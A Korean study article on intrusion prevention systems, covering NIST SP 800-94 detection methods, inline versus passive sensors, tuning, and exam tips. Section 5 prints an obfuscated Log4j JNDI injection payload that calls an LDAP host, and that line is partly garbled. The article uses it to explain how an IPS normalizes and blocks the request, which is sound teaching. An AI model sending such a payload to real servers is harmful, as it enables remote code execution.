침입 방지 시스템Intrusion Prevention System
트래픽 경로 위에 인라인으로 놓여 패킷 · 세션을 시그니처 · 이상 · 프로토콜 상태로 검사하고, 공격으로 판정한 트래픽을 즉시 버리거나 연결을 끊는 보안 장치다. IDS 의 탐지 기능에 차단을 더한 것이다.
1요약
- 침입 방지 시스템(IPS)은 망 경계 · 내부 구간의 트래픽 경로 위에 인라인으로 놓여 IDS 의 탐지 기능에 차단을 더한 보안 장치로, NIST SP 800-94(2007)가 기준 지침이며 그 뒤의 웹 · 메일 · DB 서버는 알려진 취약점 공격을 걸러 낸 트래픽만 받는다.
- 2003-01 Slammer 웜은 UDP 1434 포트로 가는 376바이트 패킷 하나로 퍼져 약 10분 만에 취약한 호스트의 90% 이상을 감염시켰고(Moore 외 2003), 사람이 경보를 보고 손으로 막기 전에 끝나는 공격에는 자동 차단이 필요하다.
- 「IPS 가 서비스를 끊었다 · 공격을 놓쳤다」는 그 흐름의 경보가 로그에 있는가로 가른다 — 경보가 있고 정상 요청이면 오탐(튜닝), 경보가 없으면 센서가 그 트래픽을 평문으로 보았는지(암호화 · 경로)부터, 보았는데 놓쳤으면 시그니처 · 정규화를 본다.
2등장 배경
1980년대 서버 관리자는 감사 로그를 사람이 읽어 침입 흔적을 찾았다. 1987년 Denning 은 사용자 · 호스트의 정상 프로파일에서 벗어난 활동을 통계로 찾는 침입 탐지 모델을 냈고(Denning 1987), 1999년 Roesch 의 Snort 처럼 패킷을 받아 규칙과 대조하는 네트워크 IDS 가 공개 도구로 퍼졌다(Roesch 1999).
이 IDS 는 사본을 보고 알리기만 했다. 1998년 Ptacek · Newsham 은 감시 장비가 대상 호스트와 다르게 패킷을 받아들이는 틈을 노린 삽입 · 우회 공격이 시험한 상용 IDS 넷 모두에 통한다고 보였고(Ptacek · Newsham 1998), 2003년 Slammer 처럼 수 분 안에 끝나는 웜이 나오자 경로 위에서 직접 패킷을 버리는 인라인 IPS 가 널리 쓰였다.
NIST 는 2007-02 SP 800-94 로 IDS · IPS 를 IDPS 하나로 묶은 지침을 냈다(SP 800-31 대체 · 2012년 Rev. 1 초안은 확정되지 않고 폐기). 지금 IPS 기능은 단독 장비와 함께 방화벽 · UTM 안의 엔진으로도 쓰이며, 암호화 트래픽은 내용을 볼 수 없어 센서를 복호화 뒤 구간에 두는 설계가 함께 간다(SP 800-94 4.3.3.4절).
3쉽게 이해하기 — 공항 보안 검색대
공항 출국장의 승객은 탑승구로 가려면 통로를 막고 선 보안 검색대를 지나야 한다. 검색 요원은 금지 물품 목록과 가방을 맞춰 보고, 평소와 다르게 움직이는 승객을 눈여겨보며, 탑승권 확인을 건너뛴 사람을 붙잡는다. 수상한 가방은 통과시키지 않고 보안 본부에 무전으로 알린다. 감시실의 CCTV 요원도 같은 장면을 화면으로 보지만, 통로 밖에 있어 직접 막지 못하고 알리기만 한다.
그림 1 · 검색대는 통로 위에서 세 가지 기준으로 가방을 보고 수상한 것은 멈춰 세우며, CCTV 감시실은 사본 화면만 보고 알린다.
그림 2 · 칼을 부품으로 나눠 담으면 목록 대조로는 놓치고, 조립해 본 뒤 대조해야 잡힌다 — 실제 IPS 도 펼쳐 읽은 뒤 시그니처와 맞춘다.
| 비유 속 역할 | 실제 이름 | 실제로 하는 일 |
|---|---|---|
| 통로를 막은 검색대 | 인라인 센서(IPS) | 원본 트래픽이 반드시 지나게 두고 통과 · 차단을 정한다 |
| CCTV 감시실 | 수동 센서(IDS) | SPAN 포트 · TAP 으로 받은 사본을 분석해 경보만 낸다 |
| 금지 물품 목록 | 시그니처 | 알려진 위협의 패턴을 패킷 · 로그와 대조한다 |
| 평소와 다른 행동 | 이상 기반 탐지 | 학습 기간에 만든 정상 프로파일에서 크게 벗어난 활동을 찾는다 |
| 탑승권 확인 순서 | 상태 기반 프로토콜 분석 | 프로토콜 상태마다 허용되는 명령인지 본다(인증 전 명령 등) |
| 나눠 담은 물건 조립 | 정규화 · 재조립 | 조각 · 인코딩을 대상 서버가 읽는 꼴로 되돌린 뒤 대조한다 |
| 허리띠에 울린 탐지기 | 오탐 | 정상 활동을 공격으로 판정해 막는다 |
| 보안 본부 무전 | 경보 · 로그 | 관리 서버 · SIEM 으로 사건을 보내 기록한다 |
⚠ 비유가 맞지 않는 곳: 검색대는 모든 가방을 열어 보지만, 네트워크 IPS 는 HTTPS · VPN 처럼 암호화된 내용을 보지 못해 복호화 뒤 구간에 두거나 호스트 기반으로 보완한다(SP 800-94 4.3.3.4절). 검색대를 거치지 않는 다른 경로(무선 · 우회 회선)의 트래픽도 보지 못한다.
4구조 — 배치와 탐지 방식
SP 800-94 는 IDPS 를 감시 대상에 따라 네트워크 기반 · 무선 · NBA(망 행위 분석) · 호스트 기반 넷으로 나누고(2.4절), 네트워크 기반 센서는 트래픽이 반드시 지나는 인라인 또는 SPAN 포트 · TAP 의 사본을 보는 수동으로 둔다(4.2.2절). 확실한 차단은 원본이 지나는 인라인 센서만 할 수 있고, 수동 센서는 양 끝에 TCP RST 를 보내 세션을 끊는 정도라 늦기 쉽고 UDP · ICMP 에는 쓸 수 없다(4.3.4절).
그림 3 · 원본 트래픽은 인라인 IPS 를 지나야 서버로 가고, 수동 IDS 는 스위치가 복사한 사본만 받아 경보를 낸다.
| 요소 | 위치 | 역할 | 값 · 근거 |
|---|---|---|---|
| 인라인 센서 | 방화벽 뒤 · 내부 망 경계 | 원본 검사 뒤 버림 · 거부 · 대역 제한 · 내용 정화 | SP 800-94 4.2.2 · 4.3.4절 |
| 수동 센서 | SPAN 포트 · TAP · IDS 부하 분산기 | 사본 분석 · 경보 · TCP RST 로 세션 끊기 | 4.2.2 · 4.3.4절 |
| 호스트 에이전트 | 공개 서버 · 민감 정보 서버 | 그 호스트의 트래픽 · 로그 · 프로세스 · 파일 변경 감시 · 코드 실행 막기 | 2.4 · 7.2.3절 |
| 무선 센서 | 무선 LAN 전파 범위 | 무선 프로토콜의 이상만 봄 · 무단 단말 연결 해제 | 2.4 · 5.3.4절 |
| NBA 센서 | 내부 망 흐름 수집 지점 | 흐름 정보로 DDoS · 웜 · 정책 위반 탐지 | 2.4 · 6.2.4절 |
| 관리 서버 · 콘솔 | 별도 관리 망 · VLAN | 경보 수집 · 상관 분석 · 정책 배포 | 4.2.1 · 4.2.2절 |
탐지 방식은 셋이고 대부분 제품은 섞어 쓴다 — 상태 기반 분석 엔진이 트래픽을 요청 · 응답으로 나누면, 그 위에서 이상 여부와 시그니처를 함께 본다(4.3.3절).
| 방식 | 대조 기준 | 잘 잡는 것 | 놓치는 것 |
|---|---|---|---|
| 시그니처 기반 | 알려진 위협 패턴 목록 | 알려진 공격 · 정책 위반(root 계정 telnet) | 처음 보는 공격 · 변종(freepics.exe → freepics2.exe) · 여러 이벤트로 나뉜 공격(2.3.1절) |
| 이상 기반 | 학습 기간(며칠 ~ 몇 주)에 만든 정상 프로파일 | 처음 보는 웜의 대량 연결 · 메일 발송 | 드문 정상 작업(월 1회 대량 전송) = 오탐 · 천천히 늘린 공격이 프로파일에 섞임(2.3.2절) |
| 상태 기반 프로토콜 분석 | 공급자가 만든 프로토콜 상태별 허용 동작 | 인증 전 명령 · 이상한 인자 길이(20자 사용자 이름 필드에 1,000자) | 프로토콜을 지킨 공격(정상 요청 대량 = 서비스 거부) · 많은 자원 사용(2.3.3절) |
🔑 IDS 는 사본을 보고 알리고 IPS 는 원본이 지나는 경로 위에서 막는다 — 그래서 IPS 의 오탐은 경보로 끝나지 않고 서비스 장애가 된다(SP 800-94 2.2 · 4.3.3.4절).
5동작 — 우회 문자열을 정규화해 막는 인라인 차단
사례는 DMZ 웹 서비스 앞 인라인 IPS 가 Log4j 원격 코드 실행 취약점(CVE-2021-44228 · CVSS 10.0) 공격 요청을 막는 흐름이다. 주소 · 포트 · 차단 시간은 설명용 가정 값이다(주소 = RFC 5737 문서용 대역 · 사설 대역).
- 공격자 203.0.113.45 가 서비스 주소 198.51.100.20 의 TCP 443 으로 HTTPS 요청을 보낸다.
- 부하 분산기 10.20.0.5 가 TLS 를 풀어 평문 HTTP 를 웹 서버 10.20.1.15:8080 으로 넘기고, 그 구간에 IP 주소 없이 브리지로 놓인 IPS 를 지난다(복호화 뒤 배치 · SP 800-94 4.3.3.4절).
- 요청 헤더
User-Agent: ${${lower:는j} ndi: ldap: / / 203. 0. 113. 45: 1389/ a} ${jndi:를 그대로 찾는 시그니처와 맞지 않는다 — 대상(Log4j)은 펼쳐 읽지만 단순 대조는 못 읽는 우회다(2.2절). - IPS 의 HTTP 해석기(상태 기반 프로토콜 분석)가 헤더를 나누고
${lower:j}를j로 펼쳐${jndi:ldap://로 정규화한다. - 정규화한 값이 시그니처와 일치해 판정 = 차단이다 — 패킷을 버리고 부하 분산기 쪽에 TCP RST 를 보내므로 요청은 웹 서버에 가지 않는다.
- IPS 가 경보(시그니처 번호 · 출발지 · 헤더 일부)를 syslog(UDP 514)로 관리 서버 10.20.9.10 에 보낸다.
- 출발지 203.0.113.45 를 600초 동안 차단 목록에 올려 이어지는 탐색 요청도 버린다(공격자 속성 차단 · 2.2절).
그림 4 · 공격 요청은 TLS 가 풀린 구간에서 정규화 · 대조되어 버려지고, 웹 서버에는 가지 않으며 경보와 차단 목록만 남는다.
탐지 판정은 점수와 임계값의 비교라 오탐과 미탐을 함께 0으로 만들 수 없고, 하나를 줄이면 다른 하나가 는다(SP 800-94 2.2절). 아래 그림은 하루 정상 요청 10,000건 · 공격 요청 100건(가정 값)에 같은 점수 규칙을 쓸 때, 임계값 70 이면 오탐 50 · 미탐 8건이고 50 으로 낮추면 오탐 400 · 미탐 2건이 됨을 보인다. 인라인 IPS 에서 오탐 하나는 정상 사용자의 요청 차단이므로, 제품 대부분이 차단을 켜기 전 학습 · 시뮬레이션 모드로 「막았을 요청」만 기록하게 한다(4.3.4절).
그림 5 · 임계값을 70 에서 50 으로 낮추면 미탐은 8건에서 2건으로 줄지만 오탐은 50건에서 400건으로 는다.
🔑 임계값은 오탐과 미탐을 맞바꿀 뿐이고, 둘을 함께 줄이는 것은 서버 종류 · 취약점 점검 결과 같은 대상 정보로 하는 튜닝이다(SP 800-94 4.3.3.3절).
6비교
| 기준 | IPS | IDS | 방화벽 | WAF | NGFW |
|---|---|---|---|---|---|
| 위치 | 경로 위(인라인) | 경로 옆(사본) | 경로 위 | 웹 서버 앞 HTTP 프록시 | 경로 위 |
| 보는 것 | 헤더 + 여러 프로토콜의 내용 | IPS 와 같음 | 주소 · 포트 · 연결 상태 | HTTP 요청 · 응답 내용 | 주소 · 포트 + 응용 식별 + 내용 |
| 판정 근거 | 시그니처 · 이상 · 프로토콜 상태 | IPS 와 같음 | 허용 규칙 목록 | 웹 공격 규칙 · 입력 형식 | 방화벽 정책 + 내장 IPS 엔진 |
| 탐지 뒤 동작 | 버림 · 차단 목록 · 내용 정화 | 경보 · TCP RST | 규칙에 없으면 거부 | 요청 거부 · 정화 | 버림 · 응용별 정책 |
| 오탐의 결과 | 서비스 차단 | 경보 증가 | 규칙 오류 = 차단 | 웹 요청 차단 | 서비스 차단 |
| 암호화 트래픽 | 복호화 뒤에만 내용 봄 | IPS 와 같음 | 헤더로 충분 | TLS 를 직접 끝내고 봄 | 복호화 기능을 켜면 봄 |
분석주소 · 포트로 끝나는 통제는 방화벽, SQL 삽입 · XSS 같은 HTTP 응용 공격은 TLS 를 직접 끝내는 WAF, 여러 프로토콜의 알려진 취약점 공격은 IPS 가 맡고, NGFW 는 방화벽 · IPS 를 한 장비로 합쳐 관리 지점을 줄이는 선택이다. 근거 = 위 표 「보는 것」 · 「암호화 트래픽」 행과 SP 800-94 4.3.3.4절(암호화 트래픽은 복호화 앞뒤에서만 분석).
7실무 진단
분석먼저 그 흐름의 경보가 IPS 로그에 있는지 본다 — 경보가 있으면 판정(오탐 · 튜닝) 문제, 없으면 센서가 그 트래픽을 평문으로 보았는지(배치 · 암호화 · 과부하) 문제다. 근거 = SP 800-94 2.2절(오탐 · 미탐 · 튜닝) · 4.3.3.4절(암호화 · 고부하 한계).
| # | 증상 | 의심 원인 | 단계 | 확인 명령 · 자료 | 판정 기준(근거) |
|---|---|---|---|---|---|
| 1 | 정상 업무 요청이 연결 도중 끊김 | 오탐 차단 | 판정 | curl -v https: 재현 · 같은 시각 IPS 경보 로그 | curl 종료 코드 56(수신 실패) + 같은 출발지 · 시각의 차단 경보 → 오탐, 예외 · 임계 튜닝(2.2절) |
| 2 | 서버 로그에 공격 흔적이 있는데 경보 없음 | 미탐 — 암호화 구간 · 다른 경로 · 규칙 | 배치 | 서버에서 tcpdump -ni eth0 -A tcp port 8080 | 평문 요청이 보이는데 경보가 없으면 시그니처 · 정규화, 요청이 IPS 를 거치지 않았으면 경로 문제(4.3.3.4절) |
| 3 | 응답 지연 · 간헐 손실 | 센서 과부하 | 처리 | IPS 인터페이스 ethtool -S <장치> | 드라이버별 drop · miss 계열 카운터가 늘면 고부하에서 패킷을 버리는 중(4.3.3.4절) |
| 4 | 짧은 시간에 경보 폭주 | 블라인딩 · 튜닝 부족 | 판정 | 경보를 시그니처 번호 · 출발지별로 묶은 건수 | 소수 출발지에 몰리면 블라인딩 의심 → 같은 시각의 다른 경보부터 확인(4.3.3.4절) |
가려내는 순서는 경보 로그 → 서버 쪽 패킷 → 센서 카운터다. 장비 로그 형식은 공급자마다 달라(공개 도구 Snort · Suricata 도 서로 다름) 출발지 · 시각 · 시그니처 번호 세 필드로 맞춰 대조하며, 처음 두 단계로 «보였는가»를 가른 뒤에야 튜닝 여부를 정한다.
8시험 대비
www.q-net.or.kr시험에서는 IDS 와 비교하는 비교형, 그리고 탐지 방식 · 배치를 묻는 구현 · 설계형이 나올 수 있다. 비교형이면 「인라인 · 차단」 한 가지 차이를 축으로 위치 · 대응 · 오탐 결과를 표로 세우고, 설계형이면 배치 그림 위에 탐지 방식 셋과 오탐 · 미탐 운영을 얹는다.
- 정의 · 필요성 — IDS 기능 + 차단(SP 800-94 2.2절) · 웜 확산 수치(376바이트 · 10분 · 90%)
- 구성 · 배치 — 인라인 · 수동 · 호스트 · 무선 센서 배치 그림(그림 3) · 관리 망
- 탐지 방식 — 시그니처 · 이상 · 상태 기반 프로토콜 분석 표(대조 기준 · 놓치는 것)
- 차단 동작 — 정규화 · 버림 · 차단 목록 순서도(그림 4)
- 오탐 · 미탐 · 우회 — 임계값 그래프(그림 5) · 튜닝 · 정규화 · 복호화 뒤 배치
- IDS · 방화벽 · WAF · NGFW 비교 — 위치 · 보는 것 · 오탐 결과 표
꼭 쓸 키워드
인라인 센서수동 센서시그니처 기반이상 기반상태 기반 프로토콜 분석오탐미탐튜닝정규화우회
다른 답안과 차이를 내는 한 가지는 오탐 · 미탐을 같은 임계값 위의 맞바꿈으로 그린 그래프다 — 「IPS 의 오탐은 장애」라는 결론과 튜닝의 필요가 숫자로 함께 선다.
9오해와 사실
- 오해IPS 는 IDS 와 다른 탐지 엔진을 쓴다.사실SP 800-94 2절은 IPS 를 IDS 의 모든 기능에 차단을 더한 것으로 정의하며, 차단을 끄면 IPS 가 IDS 로 동작한다 — 차이는 탐지가 아니라 위치와 대응이다.
- 오해시그니처를 최신으로 두면 처음 보는 공격도 막는다.사실시그니처는 알려진 패턴만 맞추며, 파일 이름 한 글자만 바꾼 변종(freepics.exe → freepics2.exe)도 놓친다(SP 800-94 2.3.1절) — 처음 보는 공격은 이상 기반 · 상태 기반 분석이 보완한다.
- 오해네트워크 IPS 는 HTTPS 안의 공격도 본다.사실네트워크 센서는 VPN · HTTPS · SSH 안의 내용을 분석하지 못한다(SP 800-94 4.3.3.4절) — 복호화 뒤 구간에 두거나 호스트 기반 에이전트로 본다.
10핵심 정리
| 구분 | 감시 대상 | 대응 · 잘 잡는 것 | 약점 | 근거(SP 800-94) |
|---|---|---|---|---|
| 네트워크 · 인라인 | 경로 위 원본 패킷 | 버림 · 대역 제한 · 내용 정화 | 오탐 = 장애 · 고부하 손실 | 4.2.2 · 4.3.4절 |
| 네트워크 · 수동 | SPAN · TAP 사본 | 경보 · TCP RST | 차단이 늦음 · TCP 만 끊음 | 4.2.2 · 4.3.4절 |
| 호스트 기반 | 한 호스트의 로그 · 프로세스 · 파일 | 코드 실행 막기 | 호스트마다 설치 | 2.4 · 7.2.3절 |
| 무선 | 무선 LAN 프로토콜 | 무단 단말 연결 해제 | TCP · UDP 위 내용은 못 봄 | 2.4 · 5.3.4절 |
| NBA | 흐름 정보 | DDoS · 웜 · 정책 위반 | 패킷 내용은 안 봄 | 2.4 · 6.2.4절 |
| 시그니처 기반 | 알려진 위협 패턴 | 알려진 공격 · 정책 위반 | 처음 보는 공격 · 변종 | 2.3.1절 |
| 이상 기반 | 정상 프로파일 이탈 | 처음 보는 웜 | 오탐 많음 · 프로파일 오염 | 2.3.2절 |
| 상태 기반 분석 | 프로토콜 상태별 허용 동작 | 순서 · 인자 길이 위반 | 자원 많이 씀 · 규칙 지킨 공격 | 2.3.3절 |
11참고 문헌
- 먼저 볼 문헌
- ★ NIST SP 800-94 Guide to Intrusion Detection and Prevention Systems (IDPS) — IDS · IPS 구분 · 탐지 방식 셋 · 인라인 · 수동 센서 · 차단 기능을 원문으로 볼 때
- ★ An Intrusion-Detection Model (Dorothy E. Denning · IEEE Transactions on Software Engineering SE-13 No. 2) — 정상 프로파일로 침입을 찾는 이상 기반 탐지의 출발점을 볼 때
- ★ Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection (Thomas H. Ptacek · Timothy N. Newsham) — 수동 감시 장비를 속이는 삽입 · 우회 공격의 원리를 볼 때
- ★ The Spread of the Sapphire/Slammer Worm (David Moore · Vern Paxson · Stefan Savage · Colleen Shannon · Stuart Staniford · Nicholas Weaver) — 사람이 대응하기 전에 끝나는 웜 확산 속도를 수치로 볼 때
- 본문 근거
- Snort - Lightweight Intrusion Detection for Networks (Martin Roesch · 13th LISA Conference) — USENIX · 1999-11 ·
www.usenix.org/legacy/event/lisa99/roesch.html· 확인 2026-11-04 - CVE-2021-44228 Detail (Apache Log4j2 JNDI) — NIST NVD · 2021-12 ·
nvd.nist.gov/vuln/detail/CVE-2021-44228· 확인 2026-11-04 - RFC 5737 IPv4 Address Blocks Reserved for Documentation — IETF · 2010-01 ·
www.rfc-editor.org/rfc/rfc5737· 확인 2026-11-04 - curl(1) Linux manual page — man7.org · 2026-11 ·
man7.org/linux/man-pages/man1/curl.1.html· 확인 2026-11-04 - tcpdump(1) Linux manual page — man7.org · 2026-11 ·
man7.org/linux/man-pages/man1/tcpdump.1.html· 확인 2026-11-04 - ethtool(8) Linux manual page — man7.org · 2026-11 ·
man7.org/linux/man-pages/man8/ethtool.8.html· 확인 2026-11-04